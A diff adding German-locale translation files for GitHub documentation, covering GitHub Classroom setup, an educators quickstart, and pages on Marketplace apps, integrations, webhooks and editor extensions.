+</div>
+
+## Setting up the basics for an assignment
+
+Import the starter course into your organization, name your assignment, decide whether to assign a deadline, and choose the visibility of assignment repositories.
+
+- [Prerequisites](#prerequisites)
+- [Creating the starter assignment](#creating-the-starter-assignment)
+  - [If there are no existing assignments in the classroom](#if-there-are-no-existing-assignments-in-the-classroom)
+  - [If there already are existing assignments in the classroom](#if-there-already-are-existing-assignments-in-the-classroom)
+- [Setting up the basics for an assignment](#setting-up-the-basics-for-an-assignment)
+  - [Importing the assignment](#importing-the-assignment)
+  - [Naming the assignment](#naming-the-assignment)
+  - [Assigning a deadline for an assignment](#assigning-a-deadline-for-an-assignment)
+  - [Choosing a visibility for assignment repositories](#choosing-a-visibility-for-assignment-repositories)
+- [Inviting students to an assignment](#inviting-students-to-an-assignment)
+- [Next steps](#next-steps)
+- [Further reading](#further-reading)
+
+### Importing the assignment
+
+You first need to import the Git & {% data variables.product.product_name %} starter assignment into your organization.
+
+<div class="procedural-image-wrapper">
+  <img alt="The `Import the assignment` button" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignments-import-starter-assignment.png">
+</div>
+
+### Naming the assignment
+
+For an individual assignment, {% data variables.product.prodname_classroom %} names repositories by the repository prefix and the student's {% data variables.product.product_name %} username. By default, the repository prefix is the assignment title. For example, if you name an assignment "assignment-1" and the student's username on {% data variables.product.product_name %} is @octocat, the name of the assignment repository for @octocat will be `assignment-1-octocat`.
+
+{% data reusables.classroom.assignments-type-a-title %}
+
+### Assigning a deadline for an assignment
+
+{% data reusables.classroom.assignments-guide-assign-a-deadline %}
+
+### Choosing a visibility for assignment repositories
+
+The repositories for an assignment can be public or private. If you use private repositories, only the student can see the feedback you provide. Under "Repository visibility," select a visibility.
+
+When you're done, click **Continue**. {% data variables.product.prodname_classroom %} will create the assignment and bring you to the assignment page.
+
+<div class="procedural-image-wrapper">
+  <img alt="'Continue' button" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignments-click-continue-button.png">
+</div>
+
+## Inviting students to an assignment
+
+{% data reusables.classroom.assignments-guide-invite-students-to-assignment %}
+
+You can see whether a student has joined the classroom and accepted or submitted an assignment in the **All students** tab for the assignment. {% data reusables.classroom.assignments-to-prevent-submission %}
+
+<div class="procedural-image-wrapper">
+  <img alt="Individual assignment" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignment-individual-hero.png">
+</div>
+
+The Git & {% data variables.product.company_short %} starter assignment is only available for individual students, not for groups. Once you create the assignment, students can start work on the assignment.
+
+## Next steps
+
+- Make additional assignments customized to your course. For more information, see "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)," "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)," and "[Reuse an assignment](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/reuse-an-assignment)."
+
+## Further reading
+
+- "[{% data variables.product.prodname_global_campus %} for teachers](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers)"
+- "[Connect a learning management system course to a classroom](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/connect-a-learning-management-system-course-to-a-classroom)"
diff --git a/translations/de-DE/content/education/quickstart.md b/translations/de-DE/content/education/quickstart.md
new file mode 100644
index 0000000000..8706ee0391
--- /dev/null
+++ b/translations/de-DE/content/education/quickstart.md
@@ -0,0 +1,94 @@
+---
+title: Quickstart for GitHub Educators
+intro: 'In about 15 minutes, teachers can get started with discounts, training, and tools for {% data variables.product.company_short %}, then create a classroom for the students in a software development course using {% data variables.product.prodname_classroom %}.'
+allowTitleToDifferFromFilename: true
+versions:
+  fpt: '*'
+shortTitle: Quickstart
+---
+
+## Introduction
+
+Educators who teach a course on software development can use discounts, partnerships, training, and tools from {% data variables.product.prodname_education %} to effectively teach relevant skills to students.
+
+In this guide, you'll get started with {% data variables.product.product_name %}, sign up for accounts and discounted services through {% data variables.product.prodname_education %}, and create a space for your course and assignment on {% data variables.product.prodname_classroom %}.
+
+{% tip %}
+
+**Tip**: If you're a student and you'd like to take advantage of an academic discount, see "[Apply to {% data variables.product.prodname_global_campus %} as a student](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/apply-to-github-global-campus-as-a-student)."
+
+{% endtip %}
+
+## Creating accounts on {% data variables.product.product_name %}
+
+First, you'll need to create a free personal account on {% data variables.product.product_name %}.
+
+{% data reusables.accounts.create-account %}
+1. Follow the prompts to create your free personal account.
+
+After you create your personal account, create a free organization account. You'll use this organization account to create and manage classrooms {% data variables.product.prodname_classroom %}.
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.organizations %}
+{% data reusables.organizations.new-organization %}
+4. Follow the prompts to create a free organization.
+
+For more information, see "[Types of {% data variables.product.prodname_dotcom %} accounts](/github/getting-started-with-github/types-of-github-accounts)."
+
+## Applying for teacher benefits
+
+Next, you'll sign up for teacher benefits and resources from {% data variables.product.company_short %} by applying to {% data variables.product.prodname_global_campus %}, a portal that allows you to access your education benefits all in one place.  {% data reusables.education.educator-requirements %}
+
+{% tip %}
+
+**Tip** In addition to individual discounts, {% data variables.product.company_short %} offers partnerships with educational institutions through the {% data variables.product.prodname_campus_program %}. For more information, see the [{% data variables.product.prodname_campus_program %}](https://education.github.com/schools) website.
+
+{% endtip %}
+
+{% data reusables.education.benefits-page %}
+{% data reusables.education.click-get-teacher-benefits %}
+{% data reusables.education.select-email-address %}
+{% data reusables.education.upload-proof-status %}
+{% data reusables.education.school-name %}
+{% data reusables.education.plan-to-use-github %}
+{% data reusables.education.submit-application %}
+
+Once you are a verified {% data variables.product.prodname_global_campus %} educator, you can access {% data variables.product.prodname_global_campus %} anytime by going to the [{% data variables.product.prodname_education %} website](https://education.github.com).
+
+## Set up {% data variables.product.prodname_classroom %}
+
+With your personal account and organization account, you're ready to get started with {% data variables.product.prodname_classroom %}. {% data variables.product.prodname_classroom %} is free to use. You can track and manage assignments, grade work automatically, and provide feedback to your students.
+
+{% data reusables.classroom.sign-into-github-classroom %}
+1. To authorize {% data variables.product.prodname_classroom %} to access your personal account on {% data variables.product.prodname_dotcom %}, review the information, then click **Authorize {% data variables.product.prodname_classroom %}**.
+  !["Authorize {% data variables.product.prodname_classroom %}" button for personal account](/assets/images/help/classroom/setup-click-authorize-github-classroom.png)
+1. Review the information. To authorize {% data variables.product.prodname_classroom %} to access your organization account on {% data variables.product.prodname_dotcom %}, click **Grant**.
+  !["Grant" button for organization](/assets/images/help/classroom/setup-click-grant.png)
+  
+  {% tip %}
+  
+  **Tip**: If you see a **Request** button instead of a **Grant** button, you are a member of the organization, not an owner. An owner must approve your request for {% data variables.product.prodname_classroom %}. You must be an organization owner to create and manage classrooms and assignments in {% data variables.product.prodname_classroom %}. For more information, see "[Authorizing OAuth Apps](/github/authenticating-to-github/authorizing-oauth-apps#oauth-apps-and-organizations)."
+  
+  {% endtip %}
+  
+1. Click **Authorize github**.
+  ![Click "Authorize" button for organization](/assets/images/help/classroom/setup-click-authorize-github.png)
+
+## Create your classroom
+
+{% data reusables.classroom.about-classrooms %}
+
+{% data reusables.classroom.sign-into-github-classroom %}
+1. Click **Create your first classroom** or **New classroom**.
+{% data reusables.classroom.guide-create-new-classroom %}
+
+## Next steps
+
+You've created a classroom, and you're ready to enrich your course with {% data variables.product.product_name %} and {% data variables.product.prodname_classroom %}!  🎉
+
+- Watch some videos about {% data variables.product.prodname_classroom %}. For more information, see "[Basics of setting up {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom)."
+- Manage your classrooms and classroom admins, and create a roster of students for your classroom. For more information, see "[Manage classrooms](/education/manage-coursework-with-github-classroom/manage-classrooms)."
+- Use the Git and {% data variables.product.company_short %} starter assignment to give students an overview of Git and {% data variables.product.product_name %} fundamentals. For more information, see "[Use the Git and {% data variables.product.company_short %} starter assignment](/education/manage-coursework-with-github-classroom/use-the-git-and-github-starter-assignment)."
+- Create an assignment for individual students or teams. {% data reusables.classroom.for-more-information-about-assignment-creation %}
+- Write and implement automated tests to provide immediate feedback to students directly in assignment repositories. For more information, see "[Use autograding](/education/manage-coursework-with-github-classroom/use-autograding)."
+- Participate in {% data variables.product.prodname_education_community_with_url %}.
diff --git a/translations/de-DE/content/get-started/customizing-your-github-workflow/exploring-integrations/about-github-marketplace.md b/translations/de-DE/content/get-started/customizing-your-github-workflow/exploring-integrations/about-github-marketplace.md
new file mode 100644
index 0000000000..4b6247443d
--- /dev/null
+++ b/translations/de-DE/content/get-started/customizing-your-github-workflow/exploring-integrations/about-github-marketplace.md
@@ -0,0 +1,41 @@
+---
+title: Informationen zu GitHub Marketplace
+intro: '{% data variables.product.prodname_marketplace %} umfasst Tools zur Funktionserweiterung und Verbesserung deines Workflows.'
+redirect_from:
+  - /articles/about-github-marketplace
+  - /github/customizing-your-github-workflow/about-github-marketplace
+  - /github/customizing-your-github-workflow/exploring-integrations/about-github-marketplace
+versions:
+  fpt: '*'
+  ghec: '*'
+ms.openlocfilehash: b105bd1ea712aff86e47891d2be24ce82f8d6b19
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145102660'
+---
+Du kannst kostenlose und kostenpflichtige Tools (einschließlich {% data variables.product.prodname_github_apps %}, {% data variables.product.prodname_oauth_apps %} und {% data variables.product.prodname_actions %}) in [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace) erkunden, durchsuchen und installieren.
+
+Wenn du ein kostenpflichtiges Tool erwirbst, bezahlst du für dein Tool-Abonnement mit den gleichen Abrechnungsinformationen, mit denen du für dein {% data variables.product.product_name %}-Abonnement bezahlst, und erhältst an deinem regulären Abrechnungsdatum eine Rechnung. Weitere Informationen findest du unter [Informationen zur Abrechnung für {% data variables.product.prodname_marketplace %}](/articles/about-billing-for-github-marketplace).
+
+Möglicherweise kannst du auch eine kostenlose 14-tägige Testversion für einige Tools nutzen. Du kannst während der Testphase jederzeit kündigen, und es wird Dir nichts in Rechnung gestellt, aber du verlierst automatisch den Zugriff auf das Tool. Dein kostenpflichtiges Abonnement beginnt am Ende der 14-tägigen Testphase. Weitere Informationen findest du unter [Informationen zur Abrechnung für {% data variables.product.prodname_marketplace %}](/articles/about-billing-for-github-marketplace).
+
+## Suchen von Tools im {% data variables.product.prodname_marketplace %}
+
+Du kannst die von anderen erstellten und im {% data variables.product.prodname_marketplace %} verfügbaren Apps und Aktionen erkunden, durchsuchen und installieren. Weitere Informationen findest du unter [Durchsuchen des {% data variables.product.prodname_marketplace %}](/search-github/searching-on-github/searching-github-marketplace).
+
+{% data reusables.actions.actions-not-verified %}
+
+Alle Benutzer*innen haben die Möglichkeit, eine kostenlose {% data variables.product.prodname_github_app %} oder {% data variables.product.prodname_oauth_app %} im {% data variables.product.prodname_marketplace %} anzubieten. Herausgeber*innen kostenpflichtiger Apps werden von {% data variables.product.company_short %} überprüft, und Angebote dieser Apps werden mit einem Marketplace-Badge {% octicon "verified" aria-label="Verified creator badge" %} angezeigt. Außerdem werden Badges für nicht überprüfte und überprüfte Apps angezeigt. Diese Apps wurden mit der vorherigen Methode zum Überprüfen einzelner Apps veröffentlicht. Weitere Informationen zum aktuellen Prozess findest du unter [Informationen zum GitHub Marketplace](/developers/github-marketplace/about-github-marketplace) und [Anforderungen zum Anbieten einer App](/developers/github-marketplace/requirements-for-listing-an-app).
+
+## Ein Tool auf {% data variables.product.prodname_marketplace %} erstellen und veröffentlichen
+
+Weitere Informationen zum Erstellen deines eigenen Tools zum Anbieten im {% data variables.product.prodname_marketplace %} findest du unter [Apps](/developers/apps) und [{% data variables.product.prodname_actions %}](/actions).
+
+## Weitere Informationsquellen
+
+- [Kaufen und Installieren von Apps im {% data variables.product.prodname_marketplace %}](/articles/purchasing-and-installing-apps-in-github-marketplace)
+- [Verwalten der Abrechnung für {% data variables.product.prodname_marketplace %}-Apps](/articles/managing-billing-for-github-marketplace-apps)
+- [{% data variables.product.prodname_marketplace %}-Support](/articles/github-marketplace-support)
+- [Unterschiede zwischen GitHub-Apps und OAuth-Apps](/developers/apps/differences-between-github-apps-and-oauth-apps)
diff --git a/translations/de-DE/content/get-started/customizing-your-github-workflow/exploring-integrations/about-integrations.md b/translations/de-DE/content/get-started/customizing-your-github-workflow/exploring-integrations/about-integrations.md
new file mode 100644
index 0000000000..bf3199028d
--- /dev/null
+++ b/translations/de-DE/content/get-started/customizing-your-github-workflow/exploring-integrations/about-integrations.md
@@ -0,0 +1,48 @@
+---
+title: Informationen zu Integrationen
+intro: 'Integrationen sind Tools und Dienste, die mit {% data variables.product.product_name %} verbunden werden, um deinen Workflow zu ergänzen und zu erweitern.'
+redirect_from:
+  - /articles/about-integrations
+  - /github/customizing-your-github-workflow/about-integrations
+  - /github/customizing-your-github-workflow/exploring-integrations/about-integrations
+versions:
+  fpt: '*'
+  ghec: '*'
+ms.openlocfilehash: a976ad099b80297d0d1e006a020b77b6406989eb
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145106343'
+---
+Du kannst Integrationen in deinem persönlichen Konto oder in deinen eigenen Organisation installieren. Du kannst auch {% data variables.product.prodname_github_apps %} von einem Drittanbieter in einem bestimmten Repository installieren, für das du Administratorrechte hast oder das sich im Besitz deiner Organisation befindet.
+
+## Unterschiede zwischen {% data variables.product.prodname_github_apps %} und {% data variables.product.prodname_oauth_apps %}
+
+Integrationen können {% data variables.product.prodname_github_apps %}, {% data variables.product.prodname_oauth_apps %}, oder alles sein, was {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}-APIs oder -Webhooks verwendet.
+
+{% data variables.product.prodname_github_apps %}s bieten granulare Berechtigungen und fordern nur Zugriff auf das an, was die App benötigt. {% data variables.product.prodname_github_apps %} bieten außerdem spezifische Berechtigungen auf Benutzerebene, die jeder Benutzer individuell autorisieren muss, wenn eine App installiert wird oder wenn der Integrator die von der App angeforderten Berechtigungen ändert.
+
+Weitere Informationen finden Sie unter
+- [Unterschiede zwischen {% data variables.product.prodname_github_apps %} und {% data variables.product.prodname_oauth_apps %}](/apps/differences-between-apps/)
+- [Informationen zu Apps](/apps/about-apps/)
+- [Berechtigungen auf Benutzerebene](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/#user-level-permissions)
+- [Autorisieren von {% data variables.product.prodname_oauth_apps %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/authorizing-oauth-apps)
+- [Autorisieren von {% data variables.product.prodname_github_apps %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/authorizing-github-apps)
+- [Überprüfen autorisierter Integrationen](/articles/reviewing-your-authorized-integrations/)
+
+Du kannst eine vorkonfigurierte {% data variables.product.prodname_github_app %} installieren, wenn die Integratoren oder App-Entwickler ihre App mit dem {% data variables.product.prodname_github_app %}-Manifest-Flow erstellt haben. Weitere Informationen zum Ausführen deiner {% data variables.product.prodname_github_app %} mit automatisierter Konfiguration erhältst du vom Integrator oder App-Entwickler.
+
+Du kannst eine {% data variables.product.prodname_github_app %} mit vereinfachter Konfiguration erstellen, wenn du deine App mit Probot erstellst. Weitere Informationen findest du auf der Website mit der [Probot-Dokumentation](https://probot.github.io/docs/).
+
+## Integrationen auf {% data variables.product.prodname_marketplace %} entdecken
+
+Auf {% data variables.product.prodname_marketplace %} kannst du eine Integration zur Installation finden oder deine eigene Integration veröffentlichen.
+
+[{% data variables.product.prodname_marketplace %}](https://github.com/marketplace) enthält {% data variables.product.prodname_github_apps %} und {% data variables.product.prodname_oauth_apps %}. Weitere Informationen zur Suche nach einer Integration oder zur Erstellung einer eigenen Integration findest du unter [Informationen zum {% data variables.product.prodname_marketplace %}](/articles/about-github-marketplace).
+
+## Direkt von Integratoren bezogene Integrationen
+
+Einige Integrationen kannst du auch direkt von Integratoren beziehen. Wenn du als Organisationsmitglied eine {% data variables.product.prodname_github_app %} findest, die du verwenden möchtest, kannst du beantragen, dass eine Organisation die App für die Organisation genehmigt und installiert.
+
+Wenn du über Administratorberechtigungen für alle organisationseigenen Repositorys verfügst, auf denen die App installiert ist, kannst du {% data variables.product.prodname_github_apps %} mit Berechtigungen auf Repositoryebene installieren, ohne einen Organisationsinhaber um die Genehmigung der App bitten zu müssen. Wenn ein Integrator die Berechtigungen einer App ändert und die Berechtigungen nur für ein Repository gelten, können Organisationsinhaber und Personen mit Administratorberechtigungen für ein Repository, in dem diese App installierte ist, die neuen Berechtigungen überprüfen und akzeptieren.
diff --git a/translations/de-DE/content/get-started/customizing-your-github-workflow/exploring-integrations/about-webhooks.md b/translations/de-DE/content/get-started/customizing-your-github-workflow/exploring-integrations/about-webhooks.md
new file mode 100644
index 0000000000..4d674318f2
--- /dev/null
+++ b/translations/de-DE/content/get-started/customizing-your-github-workflow/exploring-integrations/about-webhooks.md
@@ -0,0 +1,37 @@
+---
+title: Informationen zu Webhooks
+redirect_from:
+  - /post-receive-hooks
+  - /articles/post-receive-hooks
+  - /articles/creating-webhooks
+  - /articles/about-webhooks
+  - /github/extending-github/about-webhooks
+intro: 'Webhooks bieten die Möglichkeit, Benachrichtigungen an einen externen Webserver zu senden, wenn bestimmte Aktionen in einem Repository oder in einer Organisation auftreten.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+ms.openlocfilehash: 30232a560237d473f17ec01d6451cb25195521fc
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '147880613'
+---
+{% tip %}
+
+**Tipp:** {% data reusables.organizations.owners-and-admins-can %} Webhooks für eine Organisation verwalten. {% data reusables.organizations.new-org-permissions-more-info %}
+
+{% endtip %}
+
+Webhooks können ausgelöst werden, wenn eine Reihe von Aktionen in einem Repository oder einer Organisation ausgeführt werden. Du kannst einen Webhook beispielsweise so konfigurieren, dass er in folgenden Fällen ausgeführt wird:
+
+* Ein Push an ein Repository wird durchgeführt.
+* Ein Pull Request wird geöffnet.
+* Eine {% data variables.product.prodname_pages %}-Website wird erstellt
+* Ein neues Mitglied wird zu einem Team hinzugefügt.
+
+Unter Verwendung der {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}-API kannst du diese Webhooks dazu veranlassen, eine externe Problemverfolgung zu aktualisieren, CI-Buildvorgänge auszulösen, eine Sicherungsspiegelung zu aktualisieren oder sogar eine Bereitstellung auf deinem Produktionsserver durchzuführen.
+
+Um einen neuen Webhook einzurichten, benötigst Du Zugriff auf einen externen Server und Du musst Dich mit den benötigten technischen Verfahren vertraut machen. Hilfreiche Informationen zum Erstellen eines Webhooks sowie eine vollständige Liste der Aktionen, die zugeordnet werden können, findest du unter [Webhooks](/webhooks).
diff --git a/translations/de-DE/content/get-started/customizing-your-github-workflow/exploring-integrations/github-extensions-and-integrations.md b/translations/de-DE/content/get-started/customizing-your-github-workflow/exploring-integrations/github-extensions-and-integrations.md
new file mode 100644
index 0000000000..1963647dc6
--- /dev/null
+++ b/translations/de-DE/content/get-started/customizing-your-github-workflow/exploring-integrations/github-extensions-and-integrations.md
@@ -0,0 +1,52 @@
+---
+title: GitHub extensions and integrations
+intro: 'Use {% data variables.product.product_name %} extensions to work seamlessly in {% data variables.product.product_name %} repositories within third-party applications.'
+redirect_from:
+  - /articles/about-github-extensions-for-third-party-applications
+  - /articles/github-extensions-and-integrations
+  - /github/customizing-your-github-workflow/github-extensions-and-integrations
+  - /github/customizing-your-github-workflow/exploring-integrations/github-extensions-and-integrations
+versions:
+  fpt: '*'
+  ghec: '*'
+shortTitle: Extensions & integrations
+---
+## Editor tools
+
+You can connect to {% data variables.product.product_name %} repositories within third-party editor tools such as Unity and {% data variables.product.prodname_vs %}.
+
+### {% data variables.product.product_name %} for Unity
+
+With the {% data variables.product.product_name %} for Unity editor extension, you can develop on Unity, the open source game development platform, and see your work on {% data variables.product.product_name %}. For more information, see the official Unity editor extension [site](https://unity.github.com/) or the [documentation](https://github.com/github-for-unity/Unity/tree/master/docs).
+
+### {% data variables.product.product_name %} for {% data variables.product.prodname_vs %}
+
+With the {% data variables.product.product_name %} for {% data variables.product.prodname_vs %} extension, you can work in {% data variables.product.product_name %} repositories without leaving {% data variables.product.prodname_vs %}. For more information, see the official {% data variables.product.prodname_vs %} extension [site](https://visualstudio.github.com/) or [documentation](https://github.com/github/VisualStudio/tree/master/docs).
+
+### {% data variables.product.prodname_dotcom %} for {% data variables.product.prodname_vscode %}
+
+With the {% data variables.product.prodname_dotcom %} for {% data variables.product.prodname_vscode %} extension, you can review and manage {% data variables.product.product_name %} pull requests in {% data variables.product.prodname_vscode_shortname %}. For more information, see the official {% data variables.product.prodname_vscode_shortname %} extension [site](https://vscode.github.com/) or [documentation](https://github.com/Microsoft/vscode-pull-request-github).
+
+## Project management tools
+
+You can integrate your personal or organization account on {% data variables.location.product_location %} with third-party project management tools, such as Jira.
+
+### Jira Cloud and {% data variables.product.product_name %}.com integration
+
+You can integrate Jira Cloud with your personal or organization account to scan commits and pull requests, creating relevant metadata and hyperlinks in any mentioned Jira issues. For more information, visit the [Jira integration app](https://github.com/marketplace/jira-software-github) in the marketplace.
+
+## Team communication tools
+
+You can integrate your personal or organization account on {% data variables.location.product_location %} with third-party team communication tools, such as Slack or Microsoft Teams.
+
+### Slack and {% data variables.product.product_name %} integration
+
+The Slack + {% data variables.product.prodname_dotcom %} app lets you subscribe to your repositories or organizations and get realtime updates about issues, pull requests, commits, discussions, releases, deployment reviews and deployment statuses. You can also perform activities like opening and closing issues, and you can see detailed references to issues and pull requests without leaving Slack. The app will also ping you personally in Slack if you are mentioned as part of any {% data variables.product.prodname_dotcom %} notifications that you receive in your channels or personal chats.
+
+The Slack + {% data variables.product.prodname_dotcom %} app is also compatible with [Slack Enterprise Grid](https://slack.com/intl/en-in/help/articles/360000281563-Manage-apps-on-Enterprise-Grid). For more information, visit the [Slack + {% data variables.product.prodname_dotcom %} app](https://github.com/marketplace/slack-github) in the marketplace.
+
+### Microsoft Teams and {% data variables.product.product_name %} integration
+
+The {% data variables.product.prodname_dotcom %} for Teams app lets you subscribe to your repositories or organizations and get realtime updates about issues, pull requests, commits, discussions, releases, deployment reviews and deployment statuses. You can also perform activities like opening and closing issues, commenting on your issues and pull requests, and you can see detailed references to issues and pull requests without leaving Microsoft Teams. The app will also ping you personally in Teams if you are mentioned as part of any {% data variables.product.prodname_dotcom %} notifications that you receive in your channels or personal chats.
+
+For more information, visit the [{% data variables.product.prodname_dotcom %} for Teams app](https://appsource.microsoft.com/en-us/product/office/WA200002077) in Microsoft AppSource.
diff --git a/translations/de-DE/content/get-started/customizing-your-github-workflow/exploring-integrations/index.md b/translations/de-DE/content/get-started/customizing-your-github-workflow/exploring-integrations/index.md
new file mode 100644
index 0000000000..e0f2678697
--- /dev/null
+++ b/translations/de-DE/content/get-started/customizing-your-github-workflow/exploring-integrations/index.md
@@ -0,0 +1,24 @@
+---
+title: Integrationen erkunden
+intro: 'Du kannst deinen {% data variables.product.product_name %}-Workflow mit den Tools und Diensten der {% data variables.product.product_name %}-Community anpassen und erweitern.'
+redirect_from:
+  - /articles/exploring-integrations
+  - /github/customizing-your-github-workflow/exploring-integrations
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+children:
+  - /about-integrations
+  - /about-webhooks
+  - /about-github-marketplace
+  - /github-extensions-and-integrations
+ms.openlocfilehash: ba97623756a53352fb8a9d1d34db9f5dd6c3bede
+ms.sourcegitcommit: 770ed406ec075528ec9c9695aa4bfdc8c8b25fd3
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '147883393'
+---
+
diff --git a/translations/de-DE/content/get-started/customizing-your-github-workflow/index.md b/translations/de-DE/content/get-started/customizing-your-github-workflow/index.md
new file mode 100644
index 0000000000..aa12aaecce
--- /dev/null
+++ b/translations/de-DE/content/get-started/customizing-your-github-workflow/index.md
@@ -0,0 +1,23 @@
+---
+title: Anpassen deines GitHub-Workflows
+intro: 'Hier erfährst du, wie du deinen {% data variables.product.prodname_dotcom %}-Workflow mit Erweiterungen, Integrationen, dem {% data variables.product.prodname_marketplace %} und Webhooks anpasst.'
+redirect_from:
+  - /categories/customizing-your-github-workflow
+  - /github/customizing-your-github-workflow
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghae: '*'
+  ghes: '*'
+children:
+  - /exploring-integrations
+  - /purchasing-and-installing-apps-in-github-marketplace
+shortTitle: Customize your workflow
+ms.openlocfilehash: 39a049fa4dd51c48583541879975a6d13b53a89c
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145106339'
+---
+
diff --git a/translations/de-DE/content/get-started/customizing-your-github-workflow/purchasing-and-installing-apps-in-github-marketplace/index.md b/translations/de-DE/content/get-started/customizing-your-github-workflow/purchasing-and-installing-apps-in-github-marketplace/index.md
new file mode 100644
index 0000000000..728453f6e2
--- /dev/null
+++ b/translations/de-DE/content/get-started/customizing-your-github-workflow/purchasing-and-installing-apps-in-github-marketplace/index.md
@@ -0,0 +1,21 @@
+---
+title: Apps in GitHub Marketplace kaufen und installieren
+intro: '{% data variables.product.prodname_marketplace %} enthält kostenlose und kostenpflichtige Apps. Wenn du eine kostenpflichtige App findest, die du für dein persönliches Konto oder deine Organisation verwenden möchtest, kannst du die App mit deinen vorhandenen Abrechnungsinformationen kaufen und installieren.'
+redirect_from:
+  - /articles/purchasing-and-installing-apps-in-github-marketplace
+  - /github/customizing-your-github-workflow/purchasing-and-installing-apps-in-github-marketplace
+versions:
+  fpt: '*'
+  ghec: '*'
+children:
+  - /installing-an-app-in-your-personal-account
+  - /installing-an-app-in-your-organization
+shortTitle: Install Marketplace apps
+ms.openlocfilehash: 5b262c82be9d51386498aff7c0b126fdf44a46b0
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145102639'
+---
+
diff --git a/translations/de-DE/content/get-started/customizing-your-github-workflow/purchasing-and-installing-apps-in-github-marketplace/installing-an-app-in-your-organization.md b/translations/de-DE/content/get-started/customizing-your-github-workflow/purchasing-and-installing-apps-in-github-marketplace/installing-an-app-in-your-organization.md
new file mode 100644
index 0000000000..ba7824ad5a
--- /dev/null
+++ b/translations/de-DE/content/get-started/customizing-your-github-workflow/purchasing-and-installing-apps-in-github-marketplace/installing-an-app-in-your-organization.md
@@ -0,0 +1,43 @@
+---
+title: Eine App in Ihrer Organisation installieren
+intro: 'Du kannst Apps von {% data variables.product.prodname_marketplace %} zur Verwendung in deiner Organisation installieren.'
+redirect_from:
+  - /articles/installing-an-app-in-your-organization
+  - /github/customizing-your-github-workflow/installing-an-app-in-your-organization
+  - /github/customizing-your-github-workflow/purchasing-and-installing-apps-in-github-marketplace/installing-an-app-in-your-organization
+versions:
+  fpt: '*'
+  ghec: '*'
+shortTitle: Install app organization
+ms.openlocfilehash: bf64ee38839197262852d07c024c72a0742d0e6e
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145106336'
+---
+{% data reusables.marketplace.marketplace-apps-only %}
+
+{% data reusables.marketplace.marketplace-org-perms %}
+
+Wenn Du einen kostenpflichtigen Plan auswählst, bezahlst Du für das App-Abonnement am aktuellen Abrechnungsdatum Deiner Organisation mit der vorhandenen Zahlungsmethode der Organisation.
+
+{% data reusables.marketplace.free-trials %}
+
+## Eine {% data variables.product.prodname_github_app %} in Ihrer Organisation installieren
+
+{% data reusables.marketplace.visit-marketplace %} {% data reusables.marketplace.browse-to-app %} {% data reusables.marketplace.choose-plan %} {% data reusables.marketplace.install-buy %} {% data reusables.marketplace.confirm-install-account-org %} {% data reusables.marketplace.add-payment-method-org %} {% data reusables.marketplace.complete-order-begin-installation %}
+8. Wenn die App Zugriff auf Repositorys benötigt, entscheide, ob die App auf alle Deine Repositorys zugreifen können soll oder nur auf bestimmte, und wähle dann entsprechend **Alle Repositorys** oder **Nur ausgewählte Repositorys** aus.
+  ![Optionsfelder mit Optionen zur Installation einer App auf allen oder bestimmten Repositorys](/assets/images/help/marketplace/marketplace-choose-repo-install-option.png) {% data reusables.marketplace.select-installation-repos %} {% data reusables.marketplace.review-app-perms-install %}
+
+## Eine {% data variables.product.prodname_oauth_app %} in Ihrer Organisation erstellen
+
+{% data reusables.saml.saml-session-oauth %}
+
+{% data reusables.marketplace.visit-marketplace %} {% data reusables.marketplace.browse-to-app %} {% data reusables.marketplace.choose-plan %} {% data reusables.marketplace.install-buy %} {% data reusables.marketplace.confirm-install-account-org %} {% data reusables.marketplace.add-payment-method-org %} {% data reusables.marketplace.complete-order-begin-installation %}
+8. Überprüfe die Informationen über den Zugriff der App auf dein persönliches Konto, deine Organisationen und Daten und klicke dann auf **Anwendung autorisieren**.
+
+## Weiterführende Themen
+
+- „[Aktualisieren der Zahlungsmethode Deiner Organisation](/articles/updating-your-organization-s-payment-method)“
+- „[Installieren einer App in Deinem persönlichen Konto](/articles/installing-an-app-in-your-personal-account)“
